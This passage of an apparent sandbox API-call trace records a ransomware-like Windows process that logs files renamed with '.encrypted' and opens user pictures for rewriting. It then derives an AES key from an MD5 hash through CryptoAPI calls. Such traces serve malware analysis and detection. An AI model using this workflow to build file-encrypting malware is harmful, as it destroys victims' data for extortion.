lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x24fa, lpOverlapped=0x0) returned 1 [0028.641] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.641] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x24fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.641] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=9466) returned 1 [0028.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\WTPvK7Ks\\pyzHBeLCbwH1K.encrypted.gif\r\n", cchWideChar=99, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 99 [0028.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\WTPvK7Ks\\pyzHBeLCbwH1K.encrypted.gif\r\n", cchWideChar=99, lpMultiByteStr=0xe8f4062330, cbMultiByte=99, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\WTPvK7Ks\\pyzHBeLCbwH1K.encrypted.gif\r\n", lpUsedDefaultChar=0x0) returned 99 [0028.642] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4067370*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4067370*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x62, lpOverlapped=0x0) returned 1 [0028.642] CloseHandle (hObject=0x1fc) returned 1 [0028.642] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.642] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.643] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.643] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.643] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.643] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.643] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.644] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.644] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178a20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0028.645] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0028.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41788c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0028.645] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0028.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\z8A-0V.jpg", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0028.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\z8A-0V.jpg", cchWideChar=71, lpMultiByteStr=0xe8f4052120, cbMultiByte=71, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\z8A-0V.jpg", lpUsedDefaultChar=0x0) returned 71 [0028.645] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\z8A-0V.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\z8a-0v.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=71, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0028.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=71, lpWideCharStr=0xe8f4061980, cchWideChar=71 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\z8A-0V.jpg") returned 71 [0028.646] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.647] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.647] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.647] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.647] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178380, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0028.647] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0028.647] CloseHandle (hObject=0x1fc) returned 1 [0028.648] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.648] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.648] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.648] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.648] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.648] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.648] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.648] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.648] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.648] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.648] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.648] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.648] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.648] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.648] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.648] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.648] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.648] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.648] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.648] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.648] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.649] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.649] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.649] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.649] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.649] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.649] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.649] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.649] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.649] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.649] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.649] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.649] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.649] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.649] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.649] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0028.649] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.649] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4199a80) returned 1 [0028.649] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.649] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.650] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.650] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.650] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.650] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.650] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.650] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.650] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.650] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.650] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.650] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.650] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.650] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.650] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.650] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.650] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.650] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.650] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.650] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.650] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.650] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.650] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.650] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.650] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.650] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.650] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.650] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.650] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.650] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.650] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.651] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.651] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.651] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.651] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.651] CryptCreateHash (in: hProv=0xe8f4199a80, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.651] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.651] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.651] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.651] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.651] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.651] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.651] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.651] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.651] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.651] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.651] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b9f0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.651] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.651] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.651] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.651] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.651] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.651] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.651] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.651] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.651] CryptDeriveKey (in: hProv=0xe8f4199a80, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40624f0) returned 1 [0028.651] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.651] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.652] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.652] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.652] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.652] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.652] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.652] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.652] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0028.652] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.653] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.653] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.653] PeekMessageW (in: 